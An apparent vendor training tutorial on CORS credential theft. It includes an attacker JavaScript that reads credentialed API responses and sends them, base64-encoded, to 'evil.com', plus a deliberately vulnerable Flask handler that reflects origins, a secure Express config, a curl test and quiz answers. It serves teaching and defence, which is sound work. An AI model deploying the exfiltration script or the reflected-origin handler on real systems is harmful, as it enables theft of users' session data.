CORS Credential Theft Attacks — How Attackers Steal Session Tokens via Cross-Origin Misconfigurations
In this tutorial, you will learn about CORS Credential Theft Attacks. We cover key concepts, practical examples, and best practices to help you master this topic.
CORS credential theft attacks exploit misconfigured Access-Control-Allow-Credentials combined with permissive or reflected origins, allowing attacker-controlled pages to read authenticated API responses and steal session tokens.
What You'll Learn
- How credential theft via CORS works
- The attack chain from origin Reflection to token exfiltration
- Defenses against CORS-based credential theft
Why It Matters
Credential theft via CORS is a critical vulnerability. An attacker who tricks a logged-in user into visiting their site can read all API responses including session tokens, personal data, and CSRF tokens. DodaTech's security training includes CORS credential theft as a core threat scenario.
sequenceDiagram
participant User as Victim Browser
participant Attacker as Attacker Site
participant API as Victim API
User->>Attacker: Visits evil.com
Attacker->>User: Page with malicious JS
User->>API: fetch() with credentials
Note over API: Reflected ACAO + ACAC:true
API-->>User: Response with user data
User->>Attacker: Exfiltrated data
Note over Attacker: Has victim's session data
Code Examples
// Attacker exploit script
// This runs when victim visits the attacker's site
// Step 1: Make credentialed request to victim API
fetch('https://victim-bank.com/api/transactions', {
credentials: 'include', // Sends cookies automatically
})
.then(response => {
// Step 2: Check if CORS allows reading
const acao = response.headers.get('Access-Control-Allow-Origin');
const acac = response.headers.get('Access-Control-Allow-Credentials');
if (acao && acac === 'true') {
// Step 3: Read the sensitive response
return response.json();
}
throw new Error('CORS protection active');
})
.then(data => {
// Step 4: Exfiltrate to attacker server
const img = new Image();
img.src = `https://evil.com/exfil?data=${btoa(JSON.stringify(data))}`;
})
.catch(err => console.log('Exploit failed:', err.message));
# VULNERABLE: Server that enables credential theft
# DO NOT USE
@app.after_request
def vulnerable_cors(response):
# ANY origin with credentials = instant credential theft
response.headers['Access-Control-Allow-Origin'] = \
request.headers.get('Origin', '*')
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
// Defense: Validate origin and restrict credentials
// SAFE: Only allows specific origins
app.use(cors({
origin: function(origin, callback) {
const allowed = [
'https://app.victim-bank.com',
'https://admin.victim-bank.com'
];
if (!origin || allowed.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed'));
}
},
credentials: true // Safe because origin is validated
}));
# Test for credential theft vulnerability
curl -I -H "Origin: https://evil.com" \
-H "Cookie: session=test" \
https://victim-bank.com/api/transactions | grep -i "access-control"
# If ACAO: https://evil.com and ACAC: true
# The API is vulnerable to credential theft
Common Mistakes
1. Setting Credentials: True Without Specific Origin
The most critical error. Combined with wildcard or reflected origin, this enables credential theft.
2. Echoing Origin Without Validation
Any site can make credentialed requests if the API echoes the Origin header.
3. Assuming SameSite Cookies Protect Against This
SameSite=None cookies are still sent cross-origin, enabling credential theft.
4. Thinking Authentication Headers Are Safe
The Authorization header or custom auth tokens are sent with credentialed requests.
5. Not Testing for Credential Theft
Most developers test CORS with anonymous requests and miss credential theft scenarios.
Practice Questions
- What two headers together create a credential theft vulnerability?
- How does the attacker exfiltrate stolen data?
- Can SameSite cookies prevent this attack?
- What is the role of credentials: 'include' in this attack?
- How do you fix a credential theft vulnerability?
Answers:
- Access-Control-Allow-Origin set to a reflected or wildcard value with Access-Control-Allow-Credentials: true.
- By creating an image or script tag that loads a URL on the attacker's server with the stolen data as a parameter.
- Only SameSite=Lax or Strict cookies are not sent. SameSite=None cookies are still vulnerable.
- It tells the browser to include cookies and auth headers in the cross-origin request.
- Replace the wildcard or reflected origin with a validated specific origin whitelist.
Challenge: Set up a simulated credential theft attack: create a victim API with the vulnerable CORS configuration, an attacker page that exploits it, and demonstrate the full exfiltration chain. Then secure the API and verify the exploit no longer works.
FAQ
Mini Project
Build a CORS credential theft lab environment with three API configurations: vulnerable (reflected origin + credentials), partially secure (validated origin + credentials), and fully secure (validated origin, no credentials for public endpoints). Create exploit scripts for each scenario and automated tests that verify each configuration's security posture.
What's Next
Study the same-origin policy deep dive to understand what CORS protects, then compare CORS vs CSP for defense in depth.
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro